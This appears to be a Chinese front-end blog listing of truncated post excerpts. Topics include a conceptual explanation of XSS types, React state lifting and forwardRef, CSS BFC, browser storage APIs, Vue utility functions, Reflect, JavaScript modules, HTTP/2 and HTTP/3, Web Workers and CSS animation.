场景：见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信等。

攻击步骤：

1、攻击者将恶意代码提交到目标网站的数据库中
2、用户打开目标网站时，服务端将恶意代码从数据库中取出来，拼接在HTML中返回给浏览器
3、用户浏览器在收到响应后解析执行，混在其中的恶意代码也同时被执行
4、恶意代码窃取用户数据，并发送到指定攻击者的网站，或者冒充用户行为，调用目标网站的接口，执行恶意操作

反射型（Server端）

与存储型的区别在于，存储型的恶意代码存储在数据库中，反射型的恶意代码在URL上

场景：通过 URL 传递参数的功能，如网站搜索、跳转等。

攻击步骤：

1、攻击者构造出特殊的 URL，其中包含恶意代码。
2、用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。
3、用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
4、恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。

Dom 型(浏览器端）

DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。

react 状态提升

Tue, 17 Dec 2024 00:00:00 +0800

在开始介绍状态提升之前，我想先介绍一下 Prop Drilling（属性钻取）的概念。

什么是Prop Drilling ？

那么，什么是状态提升呢？我们都知道 React 中的prop drilling（属性钻取）。prop drilling意味着从父组件向子组件传递一些 props。通过这种方式，我们可以在不同的组件之间共享数据或函数。可以使用 prop 传递任何类型的数据。

在上面的示例代码中，你可以看到，Home 组件具有一个名为 name 的状态，并且她与子组件共用 name 变量。在 React 中，只能将数据从父组件传递到子组件。

什么是 State Lifting

一般来说，状态提升允许你将数据从子组件移动到父组件，与Props Drilling不同，你可以在父组件使用子组件的状态值。这是不是很疯狂？

在 React 生态中，我们知道数据只能从父组件流向子组件，但现在将学习如何让数据反过来流动。

但是，为什么要这么做？

我们可以在父组件中定义状态并将其以 prop 的方式传递给子组件，但是这么做有可能会导致性能损失和代码复杂度提升。在我之前的博客中有提到：保持状态本地化很重要。因为当状态更新时，组件以及该组件的子组件都会重新渲染。

此外对于代码复杂性，对于如 Modal 这样的组件，选择在子组件中声明状态而不是在父组件中声明状态，将能够使代码更易于阅读。使用这种方法，你不必在每个父组件中声明状态。

通常对应用程序中的大多数组件来说，这是不必要的。但是，对于某些类型的组件，特别是可重用组件，会有这种需求。下面描述一下最通用的场景。

多说无用，上代码：

例如，我们有一个常见的 Modal 组件，我们想要在 Modal 中保留可见性状态。当一些组件想要使用这个 Modal 时，通常会定义自己的可见状态，但是通过 State Lifting，这个步骤将不再必要。

在上面的 Modal 组件中，做了如下操作：

首先，使用forwardRef执行 ref 转发，ref 转发是一种自动将 ref 通过组件传递给子组件的技术。
使用 useState 声明状态以控制Modal组件的展示或隐藏。
使用 React 内置的 useImperativeHandle hook 将属性或者方法暴露出去，这里我们添加了一些数据和函数供父组件使用。现在父组件可以直接调用子组件的show、hide、isVisble这些方法和属性。

BFC

Sat, 09 Nov 2024 00:00:00 +0800

BFC 是前端面试中经常会被问到的一个知识点，今天就来带大家深入了解下什么是 BFC 以及它的作用。

文档流

在介绍BFC之前，需要先给大家介绍一下文档流。

我们常说的文档流其实分为定位流、浮动流、普通流三种。

绝对定位(Absolute positioning)

如果元素的属性 position 为 absolute 或 fixed，它就是一个绝对定位元素。

在绝对定位布局中，元素会整体脱离普通流，因此绝对定位元素不会对其兄弟元素造成影响，而元素具体的位置由绝对定位的坐标决定。

它的定位相对于它的包含块，相关CSS属性：top、bottom、left、right；

对于 position: absolute，元素定位将相对于上级元素中最近的一个relative、fixed、absolute，如果没有则相对于body；

对于 position:fixed，正常来说是相对于浏览器窗口定位的，但是当元素祖先的 transform 属性非 none 时，会相对于该祖先进行定位。

浮动 (float)

在浮动布局中，元素首先按照普通流的位置出现，然后根据浮动的方向尽可能的向左边或右边偏移，其效果与印刷排版中的文本环绕相似。

普通流 (normal flow)

普通流其实就是指BFC中的FC。FC(Formatting Context)，直译过来是格式化上下文，它是页面中的一块渲染区域，有一套渲染规则，决定了其子元素如何布局，以及和其他元素之间的关系和作用。

在普通流中，元素按照其在 HTML 中的先后位置至上而下布局，在这个过程中，行内元素水平排列，直到当行被占满然后换行。块级元素则会被渲染为完整的一个新行。

除非另外指定，否则所有元素默认都是普通流定位，也可以说，普通流中元素的位置由该元素在 HTML 文档中的位置决定。

BFC 概念

先看下MDN上关于BFC的定义：

块格式化上下文（Block Formatting Context，BFC）是Web页面的可视CSS渲染的一部分，是块盒子的布局过程发生的区域，也是浮动元素与其他元素交互的区域。

具有 BFC 特性的元素可以看作是隔离了的独立容器，容器里面的元素不会在布局上影响到外面的元素，并且 BFC 具有普通容器所没有的一些特性。

通俗一点来讲，可以把 BFC 理解为一个封闭的大箱子，箱子内部的元素无论如何翻江倒海，都不会影响到外部。

除了 BFC，还有：

IFC（行级格式化上下文）- inline 内联
GFC（网格布局格式化上下文）- display: grid
FFC（自适应格式化上下文）- display: flex或display: inline-flex

注意：同一个元素不能同时存在于两个 BFC 中。

离线存储

Wed, 16 Oct 2024 00:00:00 +0800

HTML5 离线存储是指通过 Web Storage API 提供的一种在客户端本地存储数据的机制，主要有两种方式：localStorage 和 sessionStorage。与传统的 Cookie 相比，Web Storage 提供了更大容量、灵活性，并且数据不会随着 HTTP 请求自动发送到服务器，这可以优化性能和安全性。此外，HTML5 还支持 离线应用缓存（Application Cache） 和 IndexedDB，用于更加复杂的数据存储需求和离线应用。

工作原理

HTML5 的离线存储主要通过以下几个机制来实现数据存储和访问：

localStorage：一种持久性存储机制，数据存储在用户的浏览器中，即使关闭浏览器或重新加载页面，数据也不会丢失，除非明确被删除。其特点是跨页面、跨会话存储数据。
sessionStorage：会话级别的存储机制，只在当前页面的会话期间有效。当会话结束或浏览器窗口关闭时，数据会自动删除。其特点是只能在当前窗口或标签页中存储数据，不能跨窗口或标签页共享。
Application Cache（已被 Service Worker 替代）：允许开发者将网站的某些资源缓存到本地，使得用户即使在离线的情况下也能访问特定页面。虽然该机制已被弃用，但它曾经是实现离线访问的核心。
IndexedDB：一种更为复杂的浏览器内置数据库，支持存储结构化数据，如对象和文件。它适用于更大规模的数据存储需求，并且允许通过索引进行高效的查询和数据操作。

使用方式

1. localStorage

特点：持久性存储，浏览器关闭后数据依然存在，除非手动清除。
使用方式：

// 存储数据
localStorage.setItem('key', 'value');

// 获取数据
let value = localStorage.getItem('key');

// 删除数据
localStorage.removeItem('key');

// 清空所有 localStorage
localStorage.clear();

2. sessionStorage

特点：仅在当前会话期间有效，浏览器关闭或页面重新加载后数据会被清除。
使用方式：

// 存储数据
sessionStorage.setItem('sessionKey', 'sessionValue');

// 获取数据
let sessionValue = sessionStorage.getItem('sessionKey');

// 删除数据
sessionStorage.removeItem('sessionKey');

// 清空所有 sessionStorage
sessionStorage.clear();

3. IndexedDB

特点：适合存储大量的结构化数据，支持异步 API 和事务。
使用方式： IndexedDB 的使用较为复杂，通常涉及打开数据库、创建事务、存储和检索数据等操作。一个简单的示例如下：

let request = indexedDB.open('myDatabase', 1);

request.onupgradeneeded = function(event) {
 let db = event.target.result;
 let objectStore = db.createObjectStore('myObjectStore', { keyPath: 'id' });
};

request.onsuccess = function(event) {
 let db = event.target.result;
 let transaction = db.transaction(['myObjectStore'], 'readwrite');
 let objectStore = transaction.objectStore('myObjectStore');
 objectStore.add({ id: 1, name: 'John Doe' });
};

4. Application Cache（弃用）

特点：通过 manifest 文件指定需要缓存的资源，允许在离线时访问应用。
使用方式：在 HTML 文档中指定 manifest 文件：

<html manifest="app.manifest">

然后在 app.manifest 文件中列出需要缓存的资源：

工具函数

Sat, 05 Oct 2024 00:00:00 +0800

一、Vue.util：Vue.js的工具函数集合

Vue.util是Vue.js内部的一个工具函数集合，包含了多种实用的方法，用于处理各种常见的任务。然而，需要注意的是，Vue.util并不是Vue.js公开API的一部分，这意味着它的使用可能会随着Vue.js版本的更新而发生变化。因此，在开发过程中，应尽量避免直接使用Vue.util中的方法，而是使用Vue.js提供的公开API或其他更稳定的解决方案。

尽管如此，了解Vue.util中的一些方法仍然有助于我们更好地理解Vue.js的内部机制。例如，Vue.util.extend方法用于将一个或多个对象的属性混合到目标对象中，这在需要将多个对象合并到一个新对象中时非常有用。然而，随着Vue.js的发展，许多原本在Vue.util中的方法已经被移动到其他更合适的API中，或者被更现代的方法所替代。

二、Vue.set：动态添加响应式属性

Vue.set是Vue.js提供的一个全局方法，用于向响应式对象添加一个新的属性，并确保该属性是响应式的。在默认情况下，Vue.js只能检测到已经存在的对象的属性并将其转换为响应式属性，但对于后期动态添加的属性，Vue.js无法自动进行响应式转换。这时，就可以使用Vue.set方法手动将属性转换为响应式。

Vue.set方法接受三个参数：对象、属性名和属性值。例如：

Vue.set(vm.someObject, 'newProperty', 'Hello, Vue!');

上面的代码将someObject对象的newProperty属性设置为'Hello, Vue!'，并将其转换为响应式属性。这样，当属性值发生修改时，Vue可以检测到并响应式地更新视图。

Vue.set方法的主要优势在于它能够将属性添加为响应式属性，使得Vue.js能够跟踪和响应属性值的变化，从而及时更新视图。此外，Vue.set方法还可以用于在数组中添加新元素，使其成为响应式。

三、Vue.delete：删除响应式对象的属性

Vue.delete是Vue.js提供的另一个全局方法，用于从响应式对象中删除指定的属性。与Vue.set方法类似，Vue.delete也可以触发响应式更新，使Vue能够正确追踪到属性的删除操作。

Vue.delete方法接受两个参数：要删除的属性所在的对象和要删除的属性名。例如：

Vue.delete(this.someObject, 'someProperty');

上面的代码将从someObject对象中删除someProperty属性，并相应地更新视图。

需要注意的是，Vue.delete方法只能用于响应式对象，而不能用于普通的JavaScript对象。此外，在删除数组中的元素时，Vue.js提供了一些数组特定的方法（如splice、push、pop等）来确保数组的响应式更新。因此，在删除数组元素时，应优先使用这些方法而不是Vue.delete。

四、实际应用中的注意事项

在使用Vue.set和Vue.delete等工具函数时，需要注意以下几点：

避免直接操作对象或数组：在Vue.js中，直接修改对象或数组的属性或元素可能不会触发视图更新。因此，应优先使用Vue.set和Vue提供的数组方法来修改响应式数据。
注意命名冲突：在添加新属性时，应确保属性名不与现有属性名冲突，以避免覆盖现有属性。
了解Vue.js的响应式机制：为了更好地使用Vue.set和Vue.delete等工具函数，需要了解Vue.js的响应式机制以及它是如何跟踪和响应数据变化的。

常见考点

1. Vue 内置工具函数

问题：

Vue 提供了哪些内置工具函数？
这些工具函数的使用场景是什么？

考察点：

Vue.set 和 Vue.delete： Vue 中的 Vue.set 和 Vue.delete 是为了响应式系统而提供的工具函数，它们用于确保在数组或对象中添加、删除元素时，能够保持数据的响应性。
Vue.set：用于向对象中添加新的属性，并确保该属性是响应式的。

Vue.set(obj, 'newProp', value);

Vue.delete：用于删除对象或数组中的元素，并保持响应性。

Vue.delete(obj, 'propertyName');
Vue.delete(arr, index);

Vue.nextTick： Vue.nextTick 是一个异步队列，用于在 DOM 更新后执行回调函数。它保证了在 Vue 完成 DOM 更新后，回调才会被执行。

Vue.nextTick(() => {
 console.log('DOM has been updated!');
});

Vue.util： Vue 提供了一些工具函数，如 Vue.util.extend 用于对象的深拷贝，Vue.util.merge 用于合并对象。

2. 自定义工具函数的常见应用

问题：

你在 Vue 项目中常用哪些自定义工具函数？请列举一些例子。
如何编写一个简单的工具函数来简化 Vue 中的日期格式化？

考察点：

日期格式化工具函数：在 Vue 项目中，常常需要对日期进行格式化。你可以创建一个工具函数来统一处理日期格式。在组件中使用该工具函数：

// utils/date.js
export function formatDate(date, format = 'YYYY-MM-DD') {
 const d = new Date(date);
 const map = {
 'YYYY': d.getFullYear(),
 'MM': String(d.getMonth() + 1).padStart(2, '0'),
 'DD': String(d.getDate()).padStart(2, '0'),
 'HH': String(d.getHours()).padStart(2, '0'),
 'mm': String(d.getMinutes()).padStart(2, '0'),
 'ss': String(d.getSeconds()).padStart(2, '0'),
 };
 return format.replace(/YYYY|MM|DD|HH|mm|ss/g, matched => map[matched]);
}

import { formatDate } from './utils/date';

export default {
 data() {
 return {
 date: '2024-12-15T12:00:00',
 };
 },
 computed: {
 formattedDate() {
 return formatDate(this.date, 'YYYY-MM-DD HH:mm:ss');
 }
 }
};

深拷贝工具函数：在某些场景下，你可能需要深拷贝对象，避免对原始对象进行修改。

export function deepClone(obj) {
 return JSON.parse(JSON.stringify(obj));
}

3. Vue 的过滤器（Filters）

问题：

Vue 中的过滤器有什么作用？举个例子说明。
过滤器和工具函数有何区别，何时使用过滤器，何时使用工具函数？

考察点：

Vue 过滤器：过滤器是用于格式化输出数据的一种工具，在 Vue 模板中可以直接使用，但仅适用于模板中的数据绑定。常用的场景是格式化日期、数字等。

Vue.filter('currency', function (value) {
 return '$' + value.toFixed(2);
});

// 在模板中使用
{{ price | currency }}

工具函数与过滤器的区别：
过滤器：通常用于模板中，只能格式化输出。
工具函数：可以在组件的任何地方使用，提供更强的逻辑处理能力，适合更复杂的功能（如数据计算、事件管理等）。

4. Vuex 与工具函数

问题：

如何通过工具函数简化 Vuex 的一些操作？
你会如何编写一个工具函数来帮助管理 Vuex 中的 getter、mutation 或 action？

考察点：

在 Vuex 中，常常需要对数据进行集中管理。可以通过工具函数来简化 Vuex 操作，避免重复代码。

Reflect

Wed, 02 Oct 2024 00:00:00 +0800

一、Reflect有什么用？

一句话，Reflect没什么用，除了装装逼，让人看起来高大上以外，并不具有什么牛逼之处。

准确讲应该是这样的，Reflect更像是一种语法变体，其挂在的所有方法都能找到对应的原始语法，也就是Reflect的替代性非常强。

其实从Reflect这个单词本身字面意思就能体会出Reflect的神韵，Reflect的中文意思是“反射”，阳光照在镜子上反射，其实光子还是那些光子，只是变化了方向。

举例说明：

Reflect对象挂载了很多静态方法，所谓静态方法，就是和Math.round()这样，不需要new就可以直接使用的方法。

比较常用的两个方法就是get()和set()方法：

Reflect.get(target, propertyKey\[, receiver\])
Reflect.set(target, propertyKey, value\[, receiver\])

就作用而言，等同于：

target[propertyKey]
target[propertyKey] = value;

比方说页面上有个输入框，其DOM对象变量是input，平时我们对整个输入框赋值使用的语句多半是：

input.value = 'zhangxinxu';

就可以直接使用Reflect.set()方法代替：

Reflect.set(input, 'value', 'zhangxinxu')

效果是一模一样的。

又例如，我们希望对input的value属性重新定义，使该输入框value属性发生变化的时候可以同时触发'change'事件，下面是使用大家普遍比较熟悉的Object.defineProperty()方法实现的示意：

const props = Object.getOwnPropertyDescriptor(input, 'value');
Object.defineProperty(input, 'value', {
 ...props,
 set (v) {
 let oldv = this.value;
 props.set.call(this, v);
 // 手动触发change事件
 if (oldv !== v) {
 this.dispatchEvent(new CustomEvent('change'));
 }
 }
});

上述代码我们完全可以使用Reflect对象实现，具体的JavaScript代码如下所示。

const props = Reflect.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value');
Reflect.defineProperty(input, 'value', {
 ...props,
 set (v) {
 let oldv = this.value;
 props.set.call(this, v);
 // 手动触发change事件
 if (oldv !== v) {
 this.dispatchEvent(new CustomEvent('change'));
 }
 }
});

我们可以测试下，假设页面HTML如下：

<input id="input">

测试代码为：

input.addEventListener('change', () => {
 document.body.append('变化啦~');
});

input.value = 'zhangxinxu';

此时，就可以看到页面上出现了“变化啦~”文字

模块化

Tue, 01 Oct 2024 00:00:00 +0800

前言

在JavaScript发展初期就是为了实现简单的页面交互逻辑，寥寥数语即可；如今CPU、浏览器性能得到了极大的提升，很多页面逻辑迁移到了客户端（表单验证等），随着web2.0时代的到来，Ajax技术得到广泛应用，jQuery等前端库层出不穷，前端代码日益膨胀，此时在JS方面就会考虑使用模块化规范去管理。本文内容主要有理解模块化，为什么要模块化，模块化的优缺点以及模块化规范,并且介绍下开发中最流行的CommonJS, AMD, ES6、CMD规范。

本文试图站在小白的角度，用通俗易懂的笔调介绍这些枯燥无味的概念，希望诸君阅读后，对模块化编程有个全新的认识和理解！

一、模块化的理解

1.什么是模块?

将一个复杂的程序依据一定的规则(规范)封装成几个块(文件), 并进行组合在一起
块的内部数据与实现是私有的, 只是向外部暴露一些接口(方法)与外部其它模块通信

2.模块化的进化过程

全局function模式 : 将不同的功能封装成不同的全局函数
- 编码: 将不同的功能封装成不同的全局函数
- 问题: 污染全局命名空间, 容易引起命名冲突或数据不安全，而且模块成员之间看不出直接关系

function m1(){
 //...
}
function m2(){
 //...
}

namespace模式 : 简单对象封装
- 作用: 减少了全局变量，解决命名冲突
- 问题: 数据不安全(外部可以直接修改模块内部的数据)

let myModule = {
 data: 'www.baidu.com',
 foo() {
 console.log(`foo() ${this.data}`)
 },
 bar() {
 console.log(`bar() ${this.data}`)
 }
}
myModule.data = 'other data' //能直接修改模块内部的数据
myModule.foo() // foo() other data

这样的写法会暴露所有模块成员，内部状态可以被外部改写。

IIFE模式：匿名函数自调用(闭包)
- 作用: 数据是私有的, 外部只能通过暴露的方法操作
- 编码: 将数据和行为封装到一个函数内部, 通过给window添加属性来向外暴露接口
- 问题: 如果当前这个模块依赖另一个模块怎么办?

// index.html文件
<script type="text/javascript" src="module.js"></script>
<script type="text/javascript">
 myModule.foo()
 myModule.bar()
 console.log(myModule.data) //undefined 不能访问模块内部数据
 myModule.data = 'xxxx' //不是修改的模块内部的data
 myModule.foo() //没有改变
</script>

// module.js文件
(function(window) {
 let data = 'www.baidu.com'
 //操作数据的函数
 function foo() {
 //用于暴露有函数
 console.log(`foo() ${data}`)
 }
 function bar() {
 //用于暴露有函数
 console.log(`bar() ${data}`)
 otherFun() //内部调用
 }
 function otherFun() {
 //内部私有的函数
 console.log('otherFun()')
 }
 //暴露行为
 window.myModule = { foo, bar } //ES6写法
})(window)

最后得到的结果：

iOS中的内存管理

Sat, 02 May 2026 22:32:27 +0800

本文将系统介绍iOS中的内存管理机制，从程序内存布局、引用计数原理、ARC机制到系统级内存管理，帮助你建立完整的iOS内存管理知识体系。

一、程序内存布局

内存区域划分

在iOS应用程序中，内存按照用途和管理方式分为以下几个区域：

高地址
┌─────────────────────────────────────┐
│ 栈区 (Stack) │ ↓ 向低地址增长
│ 局部变量、函数参数、返回地址 │
├─────────────────────────────────────┤
│ ↕ │
│ 动态分配区 │
│ ↕ │
├─────────────────────────────────────┤
│ 堆区 (Heap) │ ↑ 向高地址增长
│ 动态分配的对象实例 │
├─────────────────────────────────────┤
│ 全局/静态区 (BSS) │
│ 未初始化的全局变量和静态变量 │
├─────────────────────────────────────┤
│ 数据区 (Data) │
│ 已初始化的全局变量和静态变量 │
├─────────────────────────────────────┤
│ 常量区 (Rodata) │
│ 字符串常量等 │
├─────────────────────────────────────┤
│ 代码区 (Text) │
│ 编译后的代码 │
└─────────────────────────────────────┘
低地址

各区域的特点：

OpenClaw 源码导读（二）：Gateway 控制平面 — 一条 WebSocket 连上所有人

Sat, 02 May 2026 22:32:27 +0800

在系列第一篇里我们看到，OpenClaw 的核心隐喻是 “Gateway 是控制平面”。它不存转储消息、不排队、不持久化事件流，而是一个长在 127.0.0.1:18789 上的状态化 RPC 服务器，所有客户端（CLI、macOS.app、iOS/Android Node、WebChat 浏览器、Canvas iframe）都靠一条 WebSocket 接入。

这一篇拆开控制平面的五个层面：

进程入口：CLI 怎么从 openclaw gateway 走到 Node 进程常驻

WebSocket 协议：握手帧、RPC 帧、Event 帧、状态快照与版本号

鉴权矩阵：Token / Password / Device Token / Bootstrap Token / Tailscale Whois / Trusted Proxy

Pairing：陌生客户端怎么合法加入（setup code、pairing store、allowFrom）

Session 模型：Session Key 组成规则、多 Agent 路由、Session ID 模糊匹配

注：下文所有 src/ 路径都指 openclaw/openclaw 仓库根下。

一、CLI 到 Gateway 的六段路径

第一篇概览过 src/entry.ts 和 src/cli/run-main.ts，这里按调用序重新画一遍，把每个关键函数在 graph 上标出来：

flowchart TD
A0["openclaw gateway --port 18789"] --> A1
A1["entry.ts
main guard + process.title"] --> A2
A2["normalizeEnv + enableCompileCache()"] --> A3
A3["ensureCliRespawnReady()
按需 spawn 子 Node"] --> A4
A4["parseCliContainerArgs
parseCliProfileArgs"] --> A5
A5["tryHandleRootVersionFastPath
tryHandleRootHelpFastPath"] -->|miss| A6
A6["runMainOrRootHelp → runCli(argv)"] --> B0
B0["run-main.ts
container? container in progress"] --> B1
B1["loadCliDotEnv (~/.openclaw/.env)"] --> B2
B2["assertSupportedRuntime (Node≥22.16)"] --> B3
B3["tryRouteCli（fast-path 子命令路由）"] -->|miss| B4
B4["buildProgram() + commander 注册"] --> B5
B5["installUnhandledRejectionHandler"] --> B6
B6["registerPluginCliCommandsFromValidatedConfig (lazy)"] --> B7
B7["program.parseAsync"] --> C0
C0["gateway 命令匹配 → gatewayCommandAction"] --> C1
C1["lock 文件 + 端口 acquire"] --> C2
C2["HTTP/WS server 启动"] --> C3
C3["channels/plugins/cron/canvas-host 启动"] --> C4["Ready"]

1. 为什么要自己 `spawn` 自己

ensureCliRespawnReady() 是 src/entry.ts 里最容易被忽视但非常重要的段落：

http2.0/http3.0

Mon, 28 Jul 2025 00:00:00 +0800

前言

HTTP/2 相比于 HTTP/1，可以说是大幅度提高了网页的性能，只需要升级到该协议就可以减少很多之前需要做的性能优化工作，当然兼容问题以及如何优雅降级应该是国内还不普遍使用的原因之一。

虽然 HTTP/2 提高了网页的性能，但是并不代表它已经是完美的了，HTTP/3 就是为了解决 HTTP/2 所存在的一些问题而被推出来的。

一、HTTP 协议

HTTP 协议是 HyperText Transfer Protocol（超文本传输协议）的缩写，它是互联网上应用最为广泛的一种网络协议。所有的 WWW 文件都必须遵守这个标准。伴随着计算机网络和浏览器的诞生，HTTP1.0 也随之而来，处于计算机网络中的应用层，HTTP 是建立在 TCP 协议之上，所以HTTP 协议的瓶颈及其优化技巧都是基于 TCP 协议本身的特性，例如 tcp 建立连接的 3 次握手和断开连接的 4 次挥手以及每次建立连接带来的 RTT 延迟时间。

二、HTTP/1.x 的缺陷

连接无法复用：连接无法复用会导致每次请求都经历三次握手和慢启动。三次握手在高延迟的场景下影响较明显，慢启动则对大量小文件请求影响较大（没有达到最大窗口请求就被终止）。
HTTP/1.0 传输数据时，每次都需要重新建立连接，增加延迟。
HTTP/1.1 虽然加入 keep-alive 可以复用一部分连接，但域名分片等情况下仍然需要建立多个 connection，耗费资源，给服务器带来性能压力。
Head-Of-Line Blocking（HOLB）：导致带宽无法被充分利用，以及后续健康请求被阻塞。HOLB是指一系列包（package）因为第一个包被阻塞；当页面中需要请求很多资源的时候，HOLB（队头阻塞）会导致在达到最大请求数量时，剩余的资源需要等待其他资源请求完成后才能发起请求。
HTTP 1.0：下个请求必须在前一个请求返回后才能发出，request-response对按序发生。显然，如果某个请求长时间没有返回，那么接下来的请求就全部阻塞了。
HTTP 1.1：尝试使用 pipeling 来解决，即浏览器可以一次性发出多个请求（同个域名，同一条 TCP 链接）。但 pipeling 要求返回是按序的，那么前一个请求如果很耗时（比如处理大图片），那么后面的请求即使服务器已经处理完，仍会等待前面的请求处理完才开始按序返回。所以，pipeling 只部分解决了 HOLB。

如上图所示，红色圈出来的请求就因域名链接数已超过限制，而被挂起等待了一段时间。

协议开销大： HTTP1.x 在使用时，header 里携带的内容过大，在一定程度上增加了传输的成本，并且每次请求 header 基本不怎么变化，尤其在移动端增加用户流量。
安全因素：HTTP1.x 在传输数据时，所有传输的内容都是明文，客户端和服务器端都无法验证对方的身份，这在一定程度上无法保证数据的安全性

三、SPDY 协议

因为 HTTP/1.x 的问题，我们会引入雪碧图、将小图内联、使用多个域名等等的方式来提高性能。不过这些优化都绕开了协议，直到 2009 年，谷歌公开了自行研发的 SPDY 协议，主要解决 HTTP/1.1 效率不高的问题。谷歌推出 SPDY，才算是正式改造 HTTP 协议本身。降低延迟，压缩 header 等等，SPDY 的实践证明了这些优化的效果，也最终带来 HTTP/2 的诞生。

forwardRef 该怎么用？

Tue, 17 Dec 2024 00:00:00 +0800

React.forwardRef

对于ref转发，官网是这样描述的

Ref 转发是一项将 ref 自动地通过组件传递到其一子组件的技巧。对于大多数应用中的组件来说，这通常不是必需的。但其对某些组件，尤其是可重用的组件库是很有用的。

想详细了解的可以去看官方文档 Refs 转发 – React (docschina.org)

现在让我们直奔主题吧！

React.forwardRef(render)的返回值是react组件，接收的参数是一个 render函数，函数签名为render(props, ref)，第二个参数将其接受的 ref 属性转发到render返回的组件中。

这项技术并不常见，但在以下两种场景中特别有用:

转发 ref 到组件内部的DOM 节点上
在高阶组件中转发ref

转发 `ref`到组件内部的`DOM`节点

比如我们想要将一个组件内部的某个元素暴露出去, 就可以这么做

// App.js
import React from 'react';
import Foo from './component/Foo';

export default class App extends React.Component {
 constructor(props) {
 super(props);
 this.state = {};
 this.input = React.createRef(); // 1
 // ↑5
 }

 handleClick = (e) => {
 const input = this.input.current;
 // 6
 console.log(input);
 console.log(input.value);
 input.focus();
 }

 render() {
 return (
 <>
 <button onClick={this.handleClick}>click to get value</button>
 {/*2*/}
 <Foo ref={this.input}/>
 </>
 )
 }
}

// Foo.jsx
import React from 'react';
 // 3
const Foo = React.forwardRef((props, myRef) => {
 return (
 <div>
 <p>....一些其他节点</p> {/*4*/}
 <input type="text" defaultValue='ref 成功转发到 Foo 组件内部的 input节点上' ref={myRef}/>
 <p>....一些其他节点</p>
 <p>....一些其他节点</p>
 </div>
 );
});

export default Foo;

仔细看代码中标记的数字，这是ref转发的流程:

Web Workers

Wed, 16 Oct 2024 00:00:00 +0800

在浏览器和服务器上，JavaScript程序在单个处理线程上运行。这意味着程序一次只能做一件事。简单来说，你的新电脑可能有32核的CPU，但当JavaScript应用程序运行时，其中31个核心都处于空闲状态。

JavaScript的单线程避免了复杂的并发情况。如果两个线程同时尝试进行不兼容的更改会发生什么？例如，一个浏览器可能在另一个线程重定向到新的URL并从内存中清除该文档时正在更新DOM。Node.js、Deno和Bun都继承了浏览器的单线程引擎。

这不是JavaScript特定的限制。大多数语言都是单线程的，但像PHP和Python这样的Web选项通常在Web服务器上运行，为每个用户请求启动解释器的新线程的不同实例。这会消耗资源，因此Node.js应用程序通常定义自己的Web服务器，该服务器在单个线程上运行，并异步处理每个传入的请求。

Node.js的方法在处理高流量负载时可能更高效，但长时间运行的JavaScript函数会消耗效率收益。

在我们演示如何使用Web Workers解决执行速度问题之前，我们首先要了解JavaScript的运行方式以及为什么长时间运行的函数会引发问题。

JavaScript非阻塞I/O事件循环

你可能会认为一次只做一件事会导致性能瓶颈，但JavaScript是异步的，这就避免了大部分单线程处理问题，因为：

不需要等待用户在网页上点击按钮。浏览器触发一个事件，当点击发生时调用JavaScript函数。
不需要等待Ajax请求的响应。浏览器触发一个事件，在服务器返回数据时调用JavaScript函数。
Node.js应用程序不需要等待数据库查询的结果。运行时在数据可用时调用JavaScript函数。

JavaScript引擎运行一个事件循环。一旦代码的最后一条语句执行完毕，运行时会循环回来，检查是否有未完成的定时器、待处理的回调函数和数据连接，然后根据需要执行回调函数。其他操作系统处理线程负责调用诸如HTTP请求、文件处理和数据库连接等输入/输出系统。它们不会阻塞事件循环。事件循环可以继续执行下一个在队列中等待的JavaScript函数。

实质上，JavaScript引擎的主要责任是运行JavaScript代码。操作系统处理所有其他可能导致引擎调用JavaScript函数的I/O操作。

长时间运行的JavaScript函数

JavaScript函数通常由事件触发。它们会进行一些处理，输出一些数据，并且大部分情况下会在毫秒级别内完成，以便事件循环可以继续运行。

不幸的是，一些长时间运行的函数可能会阻塞事件循环。想象一下，你正在开发自己的图像处理函数（如锐化、模糊、灰度化等）。异步代码可以从文件中读取（或写入）数百万字节的像素数据，这对JavaScript引擎影响很小。然而，处理图像的JavaScript代码可能需要几秒钟来计算每个像素。该函数会阻塞事件循环，直到它完成，其他JavaScript代码无法运行。

在浏览器中，用户将无法与页面进行交互。他们无法点击、滚动或输入，并且可能会看到一个“脚本无响应”的错误，其中有停止处理的选项。
对于Node.js服务器应用程序而言，情况更糟糕。在函数执行时，它无法响应其他请求。如果函数需要花费10秒钟来完成，那么在那个时间点访问的每个用户都必须等待最多10秒钟，即使他们没有处理图像。

你可以通过将计算拆分为较小的子任务来解决这个问题。下面的代码使用传递的imageFn函数，最多处理1,000个像素（从一个数组中）。然后，它使用1毫秒的setTimeout延迟调用自身。事件循环的阻塞时间较短，这样JavaScript引擎可以在迭代之间处理其他传入的事件：

// pass callback function, image processing function, and input image
// return an output image to a callback function
function processImage( callback, imageFn = i => {}, imageIn = [] ) {

 const chunkSize = 1000; // pixels to process per iteration

 // process first chunk
 let
 imageOut = [],
 pointer = 0;

 processChunk();

 // process a chunk of data
 function processChunk() {

 const pointerEnd = pointer + chunkSize;

 // pass chunk to image processing function
 imageOut = imageOut.concat(
 imageFn( imageIn.slice( pointer, pointerEnd ) )
 );

 if (pointerEnd < imageIn.length) {

 // process next chunk after a short delay
 pointer = pointerEnd;
 setTimeout(processChunk, 1);

 }
 else if (callback) {

 // complete - return output image to callback function
 callback( null, imageOut );

 }

 }

}

这种方法可以防止脚本无响应，但不总是切实可行的。单个执行线程仍然会执行所有的工作，即使CPU可能有更多的处理能力。为了解决这个问题，我们可以使用Web Workers。

动画

Tue, 08 Oct 2024 00:00:00 +0800

前言

CSS中有几个特别相近的几个属性。他们是transition,transform,animation。可能还有人对translate是什么也不清楚，那我们先给个简单的介绍。

属性	含义
transition 过渡	用于设置元素的样式过度，和animation有着类似的效果，但细节上有很大的不同
transform 变形	用于元素进行旋转、缩放、移动或倾斜，和设置样式的动画并没有什么关系，就相当于color一样用来设置元素的“外表”
animation 动画	css动画属性
translate 移动	只是transform的一个属性值，即移动。

transition 过渡

字面意思上来讲，就是元素从这个属性(color)的某个值(red)过渡到这个属性(color)的另外一个值(green)，这是一个状态的转变，需要一种条件来触发这种转变，比如我们平时用到的:hoever、:focus、:checked、媒体查询或者JavaScript。

一条transition规则，是可以定义多个属性的变化的，中间用逗号隔开，如果是全部属性变化则用“all”即可。

